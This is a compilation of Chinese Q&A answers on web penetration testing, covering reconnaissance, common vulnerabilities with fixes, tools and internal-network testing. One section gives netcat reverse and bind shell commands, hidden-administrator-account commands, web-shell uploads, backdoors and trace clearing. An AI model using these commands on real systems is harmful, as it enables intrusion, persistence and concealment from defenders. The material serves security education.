❶ 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
❷ web滲透測試工具
第一個:NST
NST一套免費的開源應用程序,是一個基於Fedora的Linux發行版,可在32和64位平台上運行。這個可啟動的Live
CD是用於監視、分析和維護計算機網路上的安全性;它可以很容易地將X86系統轉換為肉機,這有助於入侵檢測,網路流量嗅探,網路數據包生成,網路/主機掃描等。
第二個:NMAP
NMAP是發現企業網路中任何類型的弱點或漏洞的絕佳工具,它也是審計的好工具。該工具的作用是獲取原始數據包並確定哪些主機在網路的特定段上可用,正在使用什麼操作系統,以及識別特定主機的數據包防火牆或過濾器的不同類型和版本正在使用。NMAP對滲透測試過程的任何階段都很有用並且還是免費的。
第三個:BeEF工具
BeEF工具主要利用移動端的客戶,它的作用是用於檢查Web瀏覽器,對抗Web抗擊。BeEF用GitHub找漏洞,它探索了Web邊界和客戶端系統之外的缺陷。很重要的是,它是專門針對Web瀏覽器的,能夠查看單個源上下文中的漏洞。
第四個:Acunetix Scanner
它是一款知名的網路漏洞掃描工具,能審計復雜的管理報告和問題,並且通過網路爬蟲測試你的網站安全,檢測流行安全漏洞,還能包含帶外漏洞。它具有很高的檢測率,覆蓋超過4500個弱點;此外,這個工具包含了AcuSensor技術,手動滲透工具和內置漏洞測試,可快速抓取數千個網頁,大大提升工作效率。
第五個:John the Ripper
它是一個簡單可快速的密碼破解工具,用於在已知密文的情況下嘗試破解出明文的破解密碼軟體,支持大多數的加密演算法,如DES、MD4、MD5等。
❸ 學習滲透測試,需要哪些基礎
滲透測試需要的基礎技能必須有網路基礎、編程基礎、資料庫基礎、操作系統等基本技能。學習的話可以從html、css、js、編程語言、協議包分析、網路互聯原理、資料庫語法等進入,學習了這些基礎技能之後,就可以進行滲透測試的深入學習了,如web方面的學習OWASP TOP 10漏洞挖掘、主機系統服務漏洞檢測、App漏洞檢測、內網滲透等方面,最後當然是能夠編寫滲透測試報告啦。
❹ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
❺ 進行內網滲透測試對於企業來說有何價值
現在安全事件的風險和帶來的損失還是很大的,企業需要能夠預防,檢測,這類攻擊。通過一些漏洞軟體,進行定期安全評估,我們是可以防止許多攻擊的。但是黑客的攻擊技術不斷的在優化之中,所以系統不可能永遠是安全的。
因此每年定期做一下滲透測試是很有必要的。
滲透測試其實就是模擬黑客攻擊,以攻擊者的身份發現企業網路中可以利用的安全漏洞。
現在的安全系統更新換代很快,因此組織需要定期對關鍵資產進行滲透測試,防止黑客攻擊,數據泄漏,甚至勒索病毒等等。
上海螣龍安科在這一塊就做的挺好的,我們公司就是他們做的滲透,服務了很多大型國企央企,有需要的話可以了解一下他們。
❻ 滲透測試應該怎麼做呢
01、信息收集
1、域名、IP、埠
域名信息查詢:信息可用於後續滲透
IP信息查詢:確認域名對應IP,確認IP是否真實,確認通信是否正常
埠信息查詢:NMap掃描,確認開放埠
發現:一共開放兩個埠,80為web訪問埠,3389為windows遠程登陸埠,嘿嘿嘿,試一下
發現:是Windows Server 2003系統,OK,到此為止。
2、指紋識別
其實就是網站的信息。比如通過可以訪問的資源,如網站首頁,查看源代碼:
看看是否存在文件遍歷的漏洞(如圖片路徑,再通過…/遍歷文件)
是否使用了存在漏洞的框架(如果沒有現成的就自己挖)
02、漏洞掃描
1、主機掃描
Nessus
經典主機漏掃工具,看看有沒有CVE漏洞:
2、Web掃描
AWVS(Acunetix | Website Security Scanner)掃描器
PS:掃描器可能會對網站構成傷害,小心謹慎使用。
03、滲透測試
1、弱口令漏洞
漏洞描述
目標網站管理入口(或資料庫等組件的外部連接)使用了容易被猜測的簡單字元口令、或者是默認系統賬號口令。
滲透測試
① 如果不存在驗證碼,則直接使用相對應的弱口令字典使用burpsuite 進行爆破
② 如果存在驗證碼,則看驗證碼是否存在繞過、以及看驗證碼是否容易識別
風險評級:高風險
安全建議
① 默認口令以及修改口令都應保證復雜度,比如:大小寫字母與數字或特殊字元的組合,口令長度不小於8位等
② 定期檢查和更換網站管理口令
2、文件下載(目錄瀏覽)漏洞
漏洞描述
一些網站由於業務需求,可能提供文件查看或下載的功能,如果對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意的文件,可以是源代碼文件、敏感文件等。
滲透測試
① 查找可能存在文件包含的漏洞點,比如js,css等頁面代碼路徑
② 看看有沒有文件上傳訪問的功能
③ 採用…/來測試能否誇目錄訪問文件
風險評級:高風險
安全建議
① 採用白名單機制限制伺服器目錄的訪問,以及可以訪問的文件類型(小心被繞過)
② 過濾【./】等特殊字元
③ 採用文件流的訪問返回上傳文件(如用戶頭像),不要通過真實的網站路徑。
示例:tomcat,默認關閉路徑瀏覽的功能:
<param-name>listings</param-name>
<param-value>false</param-value>
3、任意文件上傳漏洞
漏洞描述
目標網站允許用戶向網站直接上傳文件,但未對所上傳文件的類型和內容進行嚴格的過濾。
滲透測試
① 收集網站信息,判斷使用的語言(PHP,ASP,JSP)
② 過濾規則繞過方法:文件上傳繞過技巧
風險評級:高風險
安全建議
① 對上傳文件做有效文件類型判斷,採用白名單控制的方法,開放只允許上傳的文件型式;
② 文件類型判斷,應對上傳文件的後綴、文件頭、圖片類的預覽圖等做檢測來判斷文件類型,同時注意重命名(Md5加密)上傳文件的文件名避免攻擊者利用WEB服務的缺陷構造畸形文件名實現攻擊目的;
③ 禁止上傳目錄有執行許可權;
④ 使用隨機數改寫文件名和文件路徑,使得用戶不能輕易訪問自己上傳的文件。
4、命令注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗,允許用戶輸入特殊語句,導致各種調用系統命令的web應用,會被攻擊者通過命令拼接、繞過黑名單等方式,在服務端運行惡意的系統命令。
滲透測試
風險評級:高風險
安全建議
① 拒絕使用拼接語句的方式進行參數傳遞;
② 盡量使用白名單的方式(首選方式);
③ 過濾危險方法、特殊字元,如:【|】【&】【;】【』】【"】等
5、SQL注入漏洞
漏洞描述
目標網站未對用戶輸入的字元進行特殊字元過濾或合法性校驗,允許用戶輸入特殊語句查詢後台資料庫相關信息
滲透測試
① 手動測試:判斷是否存在SQL注入,判斷是字元型還是數字型,是否需要盲注
② 工具測試:使用sqlmap等工具進行輔助測試
風險評級:高風險
安全建議
① 防範SQL注入攻擊的最佳方式就是將查詢的邏輯與其數據分隔,如Java的預處理,PHP的PDO
② 拒絕使用拼接SQL的方式
6、跨站腳本漏洞
漏洞描述
當應用程序的網頁中包含不受信任的、未經恰當驗證或轉義的數據時,或者使用可以創建 HTML或JavaScript 的瀏覽器 API 更新現有的網頁時,就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行腳本,並劫持用戶會話、破壞網站或將用戶重定向到惡意站點。
三種XSS漏洞:
① 存儲型:用戶輸入的信息被持久化,並能夠在頁面顯示的功能,都可能存在存儲型XSS,例如用戶留言、個人信息修改等。
② 反射型:URL參數需要在頁面顯示的功能都可能存在反射型跨站腳本攻擊,例如站內搜索、查詢功能。
③ DOM型:涉及DOM對象的頁面程序,包括:document.URL、document.location、document.referrer、window.location等
滲透測試
存儲型,反射型,DOM型
風險評級:高風險
安全建議
① 不信任用戶提交的任何內容,對用戶輸入的內容,在後台都需要進行長度檢查,並且對【<】【>】【"】【』】【&】等字元做過濾
② 任何內容返回到頁面顯示之前都必須加以html編碼,即將【<】【>】【"】【』】【&】進行轉義。
7、跨站請求偽造漏洞
漏洞描述
CSRF,全稱為Cross-Site Request Forgery,跨站請求偽造,是一種網路攻擊方式,它可以在用戶毫不知情的情況下,以用戶的名義偽造請求發送給被攻擊站點,從而在未授權的情況下進行許可權保護內的操作,如修改密碼,轉賬等。
滲透測試
風險評級:中風險(如果相關業務極其重要,則為高風險)
安全建議
① 使用一次性令牌:用戶登錄後產生隨機token並賦值給頁面中的某個Hidden標簽,提交表單時候,同時提交這個Hidden標簽並驗證,驗證後重新產生新的token,並賦值給hidden標簽;
② 適當場景添加驗證碼輸入:每次的用戶提交都需要用戶在表單中填寫一個圖片上的隨機字元串;
③ 請求頭Referer效驗,url請求是否前部匹配Http(s)😕/ServerHost
④ 關鍵信息輸入確認提交信息的用戶身份是否合法,比如修改密碼一定要提供原密碼輸入
⑤ 用戶自身可以通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie;
8、內部後台地址暴露
漏洞描述
一些僅被內部訪問的地址,對外部暴露了,如:管理員登陸頁面;系統監控頁面;API介面描述頁面等,這些會導致信息泄露,後台登陸等地址還可能被爆破。
滲透測試
① 通過常用的地址進行探測,如login.html,manager.html,api.html等;
② 可以借用burpsuite和常規頁面地址字典,進行掃描探測
風險評級:中風險
安全建議
① 禁止外網訪問後台地址
② 使用非常規路徑(如對md5加密)
9、信息泄露漏洞
漏洞描述
① 備份信息泄露:目標網站未及時刪除編輯器或者人員在編輯文件時,產生的臨時文件,或者相關備份信息未及時刪除導致信息泄露。
② 測試頁面信息泄露:測試界面未及時刪除,導致測試界面暴露,被他人訪問。
③ 源碼信息泄露:目標網站文件訪問控制設置不當,WEB伺服器開啟源碼下載功能,允許用戶訪問網站源碼。
④ 錯誤信息泄露:目標網站WEB程序和伺服器未屏蔽錯誤信息回顯,頁面含有CGI處理錯誤的代碼級別的詳細信息,例如SQL語句執行錯誤原因,PHP的錯誤行數等。
⑤ 介面信息泄露:目標網站介面訪問控制不嚴,導致網站內部敏感信息泄露。
滲透測試
① 備份信息泄露、測試頁面信息泄露、源碼信息泄露,測試方法:使用字典,爆破相關目錄,看是否存在相關敏感文件
② 錯誤信息泄露,測試方法:發送畸形的數據報文、非正常的報文進行探測,看是否對錯誤參數處理妥當。
③ 介面信息泄露漏洞,測試方法:使用爬蟲或者掃描器爬取獲取介面相關信息,看目標網站對介面許可權是否合理
風險評級:一般為中風險,如果源碼大量泄漏或大量客戶敏感信息泄露。
安全建議
① 備份信息泄露漏洞:刪除相關備份信息,做好許可權控制
② 測試頁面信息泄露漏洞:刪除相關測試界面,做好許可權控制
③ 源碼信息泄露漏洞:做好許可權控制
④ 錯誤信息泄露漏洞:將錯誤信息對用戶透明化,在CGI處理錯誤後可以返回友好的提示語以及返回碼。但是不可以提示用戶出錯的代碼級別的詳細原因
⑤ 介面信息泄露漏洞:對介面訪問許可權嚴格控制
10、失效的身份認證
漏洞描述
通常,通過錯誤使用應用程序的身份認證和會話管理功能,攻擊者能夠破譯密碼、密鑰或會話令牌, 或者利用其它開發缺陷來暫時性或永久性冒充其他用戶的身份。
滲透測試
① 在登陸前後觀察,前端提交信息中,隨機變化的數據,總有與當前已登陸用戶進行綁定的會話唯一標識,常見如cookie
② 一般現在網站沒有那種簡單可破解的標識,但是如果是跨站認證,單點登錄場景中,可能為了開發方便而簡化了身份認證
風險評級:高風險
安全建議
① 使用強身份識別,不使用簡單弱加密方式進行身份識別;
② 伺服器端使用安全的會話管理器,在登錄後生成高度復雜的新隨機會話ID。會話ID不能在URL中,可以安全地存儲,在登出、閑置超時後使其失效。
11、失效的訪問控制
漏洞描述
未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷訪問未經授權的功能或數據,例如:訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數據、更改訪問許可權等。
滲透測試
① 登入後,通過burpsuite 抓取相關url 鏈接,獲取到url 鏈接之後,在另一個瀏覽器打開相關鏈接,看能夠通過另一個未登入的瀏覽器直接訪問該功能點。
② 使用A用戶登陸,然後在另一個瀏覽器使用B用戶登陸,使用B訪問A獨有的功能,看能否訪問。
風險評級:高風險
安全建議
① 除公有資源外,默認情況下拒絕訪問非本人所有的私有資源;
② 對API和控制器的訪問進行速率限制,以最大限度地降低自動化攻擊工具的危害;
③ 當用戶注銷後,伺服器上的Cookie,JWT等令牌應失效;
④ 對每一個業務請求,都進行許可權校驗。
12、安全配置錯誤
漏洞描述
應用程序缺少適當的安全加固,或者雲服務的許可權配置錯誤。
① 應用程序啟用或安裝了不必要的功能(例如:不必要的埠、服務、網頁、帳戶或許可權)。
② 默認帳戶的密碼仍然可用且沒有更改。
③ 錯誤處理機制向用戶披露堆棧跟蹤或其他大量錯誤信息。
④ 對於更新的系統,禁用或不安全地配置最新的安全功能。
⑤ 應用程序伺服器、應用程序框架(如:Struts、Spring、ASP.NET)、庫文件、資料庫等沒有進行相關安全配置。
滲透測試
先對應用指紋等進行信息搜集,然後針對搜集的信息,看相關應用默認配置是否有更改,是否有加固過;埠開放情況,是否開放了多餘的埠;
風險評級:中風險
安全建議
搭建最小化平台,該平台不包含任何不必要的功能、組件、文檔和示例。移除或不安裝不適用的功能和框架。在所有環境中按照標準的加固流程進行正確安全配置。
13、使用含有已知漏洞的組件
漏洞描述
使用了不再支持或者過時的組件。這包括:OS、Web伺服器、應用程序伺服器、資料庫管理系統(DBMS)、應用程序、API和所有的組件、運行環境和庫。
滲透測試
① 根據前期信息搜集的信息,查看相關組件的版本,看是否使用了不在支持或者過時的組件。一般來說,信息搜集,可通過http返回頭、相關錯誤信息、應用指紋、埠探測(Nmap)等手段搜集。
② Nmap等工具也可以用於獲取操作系統版本信息
③ 通過CVE,CNVD等平台可以獲取當前組件版本是否存在漏洞
風險評級:按照存在漏洞的組件的安全風險值判定當前風險。
安全建議
① 移除不使用的依賴、不需要的功能、組件、文件和文檔;
② 僅從官方渠道安全的獲取組件(盡量保證是最新版本),並使用簽名機制來降低組件被篡改或加入惡意漏洞的風險;
③ 監控那些不再維護或者不發布安全補丁的庫和組件。如果不能打補丁,可以考慮部署虛擬補丁來監控、檢測或保護。
詳細學習可參考:
❼ 如何突破防火牆進行內網的滲透測試
身處不同的滲透測試環境下就會有不同的滲透思路以及滲透的技術手段,今天我們將從攻與守兩個不同的視角來了解滲透測試在不同處境下所使用的技術手段。
從攻方視角看滲透
攻方既包括了潛在的黑客、入侵者,也包括了經過企業授權的安全專家。在很多黑客的視角中,只要你投入了足夠多的時間和耐心,那麼這個世界上就沒有不可能滲透的目標。目前我們只從授權滲透的角度來討論滲透測試的攻擊路徑及其可能採用的技術手段。
測試目標的不同,自然也導致了技術手段的不同,接下來我們將簡單說明在不同的位置可能採用的技術手段。
內網測試
內網測試指的是由滲透測試人員在內部網路發起的測試,這類的測試能夠模擬企業內部違規操作者的行為。它的最主要的「優勢」就是繞過了防火牆的保護。內部可能採用的主要滲透方式有:遠程緩沖區溢出,口令猜測,以及B/S或C/S應用程序測試(如果在滲透測試中有涉及到C/S程序測試的,那麼就需要提前准備相關客戶端軟體供測試使用)。
外網測試
外網測試則恰恰與內網測試相反,在此類測試當中滲透測試人員完全處於外部網路(例如撥號、ADSL或外部光纖),來模擬對內部狀態一無所知的外部攻擊者的行為。外部可能採用的滲透方式包括:對網路設備的遠程攻擊,口令管理安全性測試,防火牆規則試探、規避、Web及其它開放應用服務的安全性測試。
不同網段/Vlan之間的滲透
這種滲透方式是從某內/外部網段,嘗試對另一網段/Vlan來進行滲透。這類測試通常可能用到的技術包括:對網路設備的遠程攻擊、對防火牆的遠程攻擊或規則探測、規避嘗試。
信息的收集和分析伴隨著滲透測試的每一個步驟,而每一個步驟又有三個部分組成:操作、響應和結果分析。
埠掃描
通過對目標地址的TCP/UDP埠掃描,確定其所開放的服務的數量以及類型,這是所有滲透測試的基礎。埠掃描是計算機解密高手喜歡的一種方式。通過埠掃描,可以大致確定一個系統的基本信息並搜集到很多關於目標主機的各種有用的信息,然後再結合安全工程師的相關經驗就可以確定其可能存在的以及可能被利用的安全弱點,從而為進行深層次的滲透提供可靠性依據。
遠程溢出
這是當前出現的頻率最高、威脅最嚴重,同時又是最容易實現的一種滲透方法,一個僅僅具有一般的基礎性網路知識的入侵者就可以在相當短的時間內利用現成的工具實現遠程溢出攻擊。
對於防火牆內的系統同樣存在這樣的風險,只要對跨接防火牆內外的一台主機攻擊成功,那麼通過這台主機對防火牆內的主機進行攻擊就易如反掌。
口令猜測
口令猜測也是一種出現概率很高的風險,幾乎不需要任何攻擊工具,利用一個簡單的暴力攻擊程序和一個比較完善的字典,就可以進行猜測口令。
對一個系統賬號的猜測通常包括兩個方面:首先是對用戶名的猜測,其次是對密碼的猜測。只要攻擊者能猜測或者確定用戶口令,就能獲得機器或者網路的訪問權,並且能夠訪問到用戶能夠訪問的審核信息資源。
本地溢出
所謂本地溢出是指在擁有了一個普通用戶的賬號之後,通過一段特殊的指令代碼來獲取管理員許可權的方法。使用本地溢出的前提是首先你要獲得一個普通用戶密碼。也就是說由於導致本地溢出的一個關鍵條件是設置不當的密碼策略。
多年的實踐證明,在經過前期的口令猜測階段獲取的普通賬號登錄系統之後,對系統實施本地溢出攻擊,就能獲取不進行主動安全防禦的系統的控制管理許可權。
腳本及應用測試
Web腳本及應用測試專門針對Web及資料庫伺服器進行。根據最新的技術統計表明,腳本安全弱點是當前Web系統尤其是存在動態內容的Web系統比較嚴重的安全弱點之一。利用腳本相關弱點輕則可以獲取系統其他目錄的訪問許可權,重則將有可能取得系統的控制管理許可權。因此對於含有動態頁面的Web、資料庫等系統,Web腳本及應用測試將是滲透測試中必不可少的一個環節。
在Web腳本及應用測試中,可能需要檢查的部份包括:
(1)檢查應用系統架構,防止用戶繞過系統直接修改資料庫;
(2)檢查身份認證模塊,用以防止非法用戶繞過身份認證;
(3)檢查資料庫介面模塊,用以防止用戶獲取系統許可權;
(4)檢查文件介面模塊,防止用戶獲取系統文件;
(5)檢查其他安全威脅。
無線測試
雖然中國的無線網路還處於建設時期,但是無線網路的部署及其簡易,所以在一些大城市裡的普及率已經很高了。在北京和上海的商務區內至少有80%的地方都可以找到接入點。
通過對無線網路的測試,可以判斷企業區域網的安全性,這已經成為滲透測試中越來越重要的環節。
除了以上的測試手段以外,還有一些可能會在滲透測試過程中使用的技術,包括:社交工程學、拒絕服務攻擊,以及中間人攻擊。
從守方視角看滲透
當具備滲透測試攻擊經驗的人們站到系統管理員的角度,要保障一個大網的安全時,我們會發現,關注點是完全不同的。從攻方的視角看是「攻其一點,不及其餘」,只要找到一個小漏洞,就有可能撕開整條戰線;但如果你從守方的視角來看,就會發現往往是「千里之堤,毀於蟻穴」。因此,必須要有好的理論指引,從技術到管理都要注重安全,才能使網路固若金湯。
滲透測試的必要性
滲透測試利用網路安全掃描器、專用安全測試工具和富有經驗的安全工程師的人工經驗對網路中的核心服務及其重要的網路設備,包括伺服器、網路設備、防火牆等進行非破壞性質的模擬黑客攻擊,目的是侵入系統並獲取機密信息並將入侵的過程和細節產生報告給用戶,從而實現網路信息安全的防護。
滲透測試和工具掃描可以很好的互相補充。工具掃描具有很好的效率和速度,但存在一定的誤報率和漏報率,並且不能發現高層次的、復雜的、並且相互關聯的安全問題;而滲透測試則需要投入大量的人力資源、並且對測試者的專業技能要求很高(滲透測試報告的價值直接依賴於測試者的專業技能水平),但是非常准確,可以發現邏輯性更強、更深層次的弱點,效果更加的明顯。
一般的滲透測試流程如下:
時間的選擇
為減少滲透測試對網路和主機的負面影響,滲透測試的時間盡量安排在業務量不大的時段或者是晚上。
策略的選擇
為了防止滲透測試造成網路和主機的業務中斷的問題,在滲透測試的過程中盡量不使用含有拒絕服務的測試策略。
授權滲透測試的監測手段
在評估過程中,由於滲透測試的特殊性,用戶可以要求對整體測試流程進行實時的監控(PS:可能會提高滲透測試的成本)。
測試方自控
由滲透測試方對本次測透測試過程中的三方面數據進行完整記錄:操作、響應、分析,最終會形成完整有效的滲透測試報告並將其提交給用戶。
用戶監控
用戶監控一共有四種形式:
全程監控:採用類似Ethereal的嗅探軟體進行全程抓包嗅探;
擇要監控:對其掃描過程不進行錄制,僅在安全工程師分析數據後,准備發起滲透前才開啟軟體進行嗅探;
主機監控:僅監控受測主機的存活狀態,用以避免意外情況發生;
指定攻擊源:用戶指定由特定攻擊源地址進行攻擊,該源地址的主機由用戶進行進程、網路連接、數據傳輸等多方面的監督控制。
(友情提示:文章中會出現與之前文章些許重復的情況,望各位親包容,不過重復即是記憶。大家要常駐米安網哦!)
❽ 滲透測試的步驟有哪些
滲透測試步驟
明確目標
· 確定范圍:測試目標的范圍,ip,域名,內外網。
· 確定規則:能滲透到什麼程度,時間?能否修改上傳?能否提權等。
· 確定需求:web應用的漏洞、業務邏輯漏洞、人員許可權管理漏洞等等。
信息收集
方式:主動掃描,開放搜索等。
開放搜索:利用搜索引擎獲得,後台,未授權頁面,敏感url等。
漏洞探索
利用上一步中列出的各種系統,應用等使用相應的漏洞。
方法:
1.漏掃,awvs,IBM appscan等。
2.結合漏洞去exploit-db等位置找利用。
3.在網上尋找驗證poc。
內容:
系統漏洞:系統沒有及時打補丁
Websever漏洞:Websever配置問題
Web應用漏洞:Web應用開發問題
其它埠服務漏洞:各種21/8080(st2)/7001/22/3389
通信安全:明文傳輸,token在cookie中傳送等。
漏洞驗證
將上一步中發現的有可能可以成功利用的全部漏洞都驗證一遍,結合實際情況,搭建模擬環境進行試驗。成功後再應用於目標中。
自動化驗證:結合自動化掃描工具提供的結果
手工驗證,根據公開資源進行驗證
試驗驗證:自己搭建模擬環境進行驗證
登陸猜解:有時可以嘗試猜解一下登陸口的賬號密碼等信息
業務漏洞驗證:如發現業務漏洞,要進行驗證
公開資源的利用
信息分析
為下一步實施滲透做准備:
精準打擊:准備好上一步探測到的漏洞的exp,用來精準打擊
繞過防禦機制:是否有防火牆等設備,如何繞過
定製攻擊路徑:最佳工具路徑,根據薄弱入口,高內網許可權位置,最終目標
繞過檢測機制:是否有檢測機制,流量監控,殺毒軟體,惡意代碼檢測等
攻擊代碼:經過試驗得來的代碼,包括不限於xss代碼,sql注入語句等
獲取所需
實施攻擊:根據前幾步的結果,進行攻擊
獲取內部信息:基礎設施
進一步滲透:內網入侵,敏感目標
持續性存在:一般我們對客戶做滲透不需要。rookit,後門,添加管理賬號,駐扎手法等
清理痕跡:清理相關日誌,上傳文件等
信息整理
整理滲透工具:整理滲透過程中用到的代碼,poc,exp等
整理收集信息:整理滲透過程中收集到的一切信息
整理漏洞信息:整理滲透過程中遇到的各種漏洞,各種脆弱位置信息
形成報告
